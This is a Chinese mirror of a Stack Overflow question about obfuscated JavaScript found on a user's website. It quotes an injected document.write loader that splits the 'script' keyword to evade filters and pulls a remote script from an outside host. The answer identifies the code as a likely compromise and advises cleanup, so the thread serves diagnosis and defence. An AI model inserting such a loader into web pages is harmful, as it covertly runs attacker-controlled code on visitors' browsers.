有人可以解释这段 JavaScript 代码吗
Posted
技术标签:
【中文标题】有人可以解释这段 JavaScript 代码吗【英文标题】:Could someone explain this JavaScript code 【发布时间】:2015-09-14 07:39:25 【问题描述】:请解释一下这段代码的含义:
<script type="text/javascript" language="javascript">
document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>
哦,这么多缺点。我尝试简化表达式,阅读有关 document.write() 并变得清晰。为什么有人将它添加到我的网站?
<script
type="text/javascript"
language="javascript"
src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>
【问题讨论】:
你不知道document.write()
是什么意思?
再清楚不过了——你不明白什么?为什么你用“黑客”来标记这个?
是的,我不知道。我不是网络开发人员,但我很惊讶我的网站有一个指向 ...//c.sitehelp.inkiev.net/code.cgi?c=4067 的链接
【参考方案1】:
您的网站可能遭到入侵,并且有人注入了 javascript 代码。有一定知识的人应该使网站脱机,清理,通过更新它使用的任何服务(例如 wordpress)来修补任何漏洞,然后将其重新上线。 该代码试图通过拆分字符串来避免关键字黑名单。它从它生成的 url 中检索一个可能是恶意的脚本。
【讨论】:
以上是关于有人可以解释这段 JavaScript 代码吗的主要内容,如果未能解决你的问题,请参考以下文章
有人可以向我解释这段代码吗?我需要了解 Python for 循环的人
有人可以解释这段代码如何使用 Accelerate Framework 将音量转换为分贝吗?